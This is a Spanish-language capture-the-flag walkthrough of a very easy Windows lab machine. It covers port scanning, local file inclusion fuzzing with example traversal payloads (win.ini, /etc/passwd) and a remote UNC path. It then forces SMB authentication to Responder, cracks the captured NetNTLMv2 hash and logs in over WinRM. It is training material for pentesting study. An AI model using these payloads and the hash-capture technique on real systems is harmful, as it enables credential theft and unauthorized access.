unityResponder

Dificultad: Very Easy - OS: Windows

Enumeración de puertos/servicios

┌──(dante㉿kali)-[/home/kali]
└─# nmap -sCV --open -T4 -v -n 10.129.184.235
chevron-right📌 Parámetros hashtag
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows 

En síntesis:

Inspección del puerto 80: encontramos un dominio, pero no podemos ver su contenido y esto se debe a un problema con el Virtual hosts

chevron-right📌¿Qué es el virtual hosts?hashtag
  • Virtual Hosts en servidores web:

    • Servidores como Apache y Nginx permiten configurar múltiples sitios web en la misma IP mediante Virtual Hosts.

    • Si accedes directamente por la IP (http://10.129.184.235), el servidor no sabe qué sitio web deseas ver y puede no responder correctamente o servir una página por defecto (vacía o de error).

  • Cómo lo soluciona /etc/hosts:

    • Cuando agregas 10.129.184.235 unika.htb en /etc/hosts, le indicas a tu sistema que el dominio unika.htb debe resolverse a esa IP.

    • Ahora, si accedes a http://unika.htb, tu navegador o herramientas como curl enviarán la cabecera Host: unika.htb en la petición HTTP.

    • El servidor web en 10.129.184.235 reconocerá la cabecera Host: unika.htb y servirá el contenido correspondiente.

    La cabecera Host es un encabezado HTTP que indica al servidor web a qué dominio o subdominio se está accediendo en una petición HTTP.

Para resolver este problema tenemos que asociar la IP con el dominio en el archivo /etc/hosts de la siguiente manera:

Ahora si podemos ver el sitio web

Inspeccionando la página web, identificaremos un posible punto de ataque para probar una vulnerabilidad de Local File Inclusion (LFI) mediante Path Traversal en la URL. Al cambiar el idioma del sitio, observamos la siguiente estructura en la dirección: http://unika.htb/index.php?page=french.html Esta URL podría ser vulnerable a LFI debido a la manera en que el servidor maneja el parámetro page.

Una forma de automatizar un ataque de tipo LFI es usando wfuzz de la siguiente manera:

chevron-right📌 Desglose del comandohashtag
  • wfuzz

    • Es una herramienta para fuzzing web que se usa para encontrar vulnerabilidades como LFI (Local File Inclusion), directorios ocultos, parámetros vulnerables, etc.

  • -w /usr/share/wordlists/seclists/Fuzzing/LFI/file_inclusion_windows.txt

    • -w indica la wordlist que se usará para fuzzear.

    • En este caso, se usa una lista específica de rutas de inclusión de archivos en Windows (file_inclusion_windows.txt).

  • -u http://unika.htb/index.php?page=FUZZ

    • -u define la URL objetivo.

    • FUZZ es el marcador de posición que wfuzz reemplazará con cada entrada de la wordlist.

    • Esto significa que wfuzz probará diferentes valores en el parámetro page, por ejemplo:

      • http://unika.htb/index.php?page=C:\windows\win.ini

      • http://unika.htb/index.php?page=../../../../../etc/passwd (si el servidor es Linux)

      • http://unika.htb/index.php?page=\\192.168.1.100\share\file.txt (si intenta acceder a una ruta de red en Windows).

  • --hc 404

    • --hc (hide code) oculta respuestas con un código HTTP 404 Not Found.

    • Así se filtran respuestas inútiles y solo se muestran las que devuelven un código diferente (posibles archivos encontrados).

  • --hl=0

    • --hl (hide lines) oculta respuestas cuyo contenido tenga 0 líneas.

    • Esto ayuda a filtrar respuestas vacías o irrelevantes.

SMB Relay via RFI o Forced SMB Authentication

Pero para este caso no nos sirve de mucho, lo que nosotros tenemos que capturar o interceptar es el hash NTLM, o challenge-response, del cliente Windows, pero antes aclaremos algunos conceptos en el siguiente link:

Paso a paso del ataque:

  1. Explotación de RFI:

    • Se inyecta una ruta SMB en el parámetro vulnerable de la web objetivo, por ejemplo:

    • Esto hace que el servidor web intente cargar un archivo remoto desde \\10.129.184.235\share

  2. Autenticación automática de Windows:

    • Windows intenta autenticarse en el recurso compartido SMB.

    • Dependiendo de la configuración, usa NetNTLMv2 para autenticarse automáticamente.

  3. Interceptación del hash con Responder o Impacket-smbserver:

    • Si Responder está en escucha (responder -I tun0 -v), capturará la autenticación NTLM.

    • Si se usa impacket-smbserver, se simula un servidor SMB para que la víctima intenté autenticarse.

  4. Cracking del hash:

    • Se extrae el NetNTLMv2 y se usa john o hashcat para intentar recuperar la contraseña en texto claro.

Lo primero que vamos a hacer es , usar el parámetro 'page=' para, mediante RFI, enviar una solicitud de conexión desde el servidor web al Responder que estará en escucha desde nuestro equipo atacante:

Otra tool alternativa que podemos aplicar para levantar un servidor SMB falso es Impacket-smbserver, de la suite de impacket:

Guardamos el hash:

Hash cracking con John

Crackeamos el hash con john the ripper:

RCE con EvilWinRM

Ahora que tenemos un usuario y sus credenciales podemos conectarnos al puerto 5985 de WinRM con la tool evil-winrm

Conclusión:

Este ataque es extremadamente efectivo porque:

  • Windows intenta autenticarse automáticamente en servidores SMB.

  • Las credenciales capturadas pueden usarse para comprometer la red.

  • Es un método común para escalar privilegios en entornos Windows.

  • Si el puerto 5985 (WinRM) está abierto, lo más probable es que la máquina use autenticación NTLM

Resumen final:

✔ NetNTLMv2 es un protocolo de autenticación basado en challenge-response.

✔ Responder captura NetNTLMv2 interceptando autenticaciones SMB automáticas.

✔ WinRM permite ejecutar comandos remotos y es usado en pentesting con Evil-WinRM.

✔ Una vulnerabilidad RFI puede forzar autenticaciones SMB, permitiendo capturar hashes NTLM con Responder o Impacket.

Last updated